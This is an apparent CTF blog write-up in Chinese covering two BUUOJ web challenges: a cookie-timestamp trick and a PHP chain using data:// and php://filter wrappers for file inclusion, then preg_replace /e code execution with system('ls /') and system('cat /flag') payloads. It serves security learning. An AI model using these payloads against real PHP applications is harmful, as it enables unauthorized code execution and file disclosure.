[BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger
点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪)
复制这一堆英文去谷歌翻译的时候发现隐藏文字
移除test.php文件,访问test.php文件
结合index.php的内容,应该是需要我们爆破获取test.php页面adminn的密码
尝试输入http://127.0.0.1/test.php
题目有说:
1 | If the CPU of the server is idle, it must be able to burst out the password you want very soon :) |
CPU如果处于空闲状态,会很快得到我们想要的答案,但是当我们输入网址之后,CPU的占用迅速提高,预测成功率的增长速度却越来越慢,估计我有生之年是看不到了,直接点击check
页面跳转至 index.php?check=
弹窗显示爆破失败,示意我们需要等待更长的时间,当然是不可能真的等待的,抓包分析
Cookie里面的dXNlcg的值感觉是base64加密,解密后为:1588061013,看其他师傅的博客知道这是时间戳,应该是根据时间戳来修改网页显示的js代码的
将其置为空,弹窗显示一个B站AV号
flag就在评论区里面
[BJDCTF2020]ZJCTF,不过如此
访问页面显示了源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | <?php error_reporting (0); $text = $_GET [ "text" ]; $file = $_GET [ "file" ]; if (isset( $text )&&( file_get_contents ( $text , 'r' )=== "I have a dream" )){ echo "<br><h1>" . file_get_contents ( $text , 'r' ). "</h1></br>" ; if (preg_match( "/flag/" , $file )){ die ( "Not now!" ); } include ( $file ); //next.php } else { highlight_file( __FILE__ ); } ?> |
从代码里面可以看出来我们传入text和file参数,同时text文件内容需要是I have a dream,而file参数可以进行本地文件包含读取next.php文件代码
text使用php data协议输入数据,file直接使用next.php
1 | http: //4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=next.php |
包含失败
使用php filter伪协议读取next.php文件
1 | http: //4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php |
base64解码得到next.php的源代码
1 2 3 4 5 6 7 8 9 10 11 12 | <?php $id = $_GET [ 'id' ]; $_SESSION [ 'id' ] = $id ; function complex( $re , $str ) { return preg_replace( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ( $_GET as $re => $str ) { echo complex( $re , $str ). "\n" ; } function getFlag(){ @ eval ( $_GET [ 'cmd' ]); } |
在preg_replace里面第一个参数使用了/e,代码审计的学习中可以知道preg_replace函数第一个参数使用/e是有可能造成代码执行漏洞
当$pattern处存在e修饰符的时候,$replacement的值就会被当做PHP代码执行,这里也是这道题的突破点。
具体分析可以看先知上的这篇文章:https://xz.aliyun.com/t/2557
先使用文章里面的payload打出phpinfo页面
1 | http: //4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${phpinfo()} |
根据next.php代码修改payload,我们需要执行getFlag函数,所以将原来的${phpinfo()}改为${getFlag()},cmd为ls /,显示根目录下的文件
1 | http: //4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system('ls /'); |
最后打出flag
1 | http: //4ac09eb6-6ae1-4bd2-8daa-103dba1ff644.node3.buuoj.cn/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); |
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12794915.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!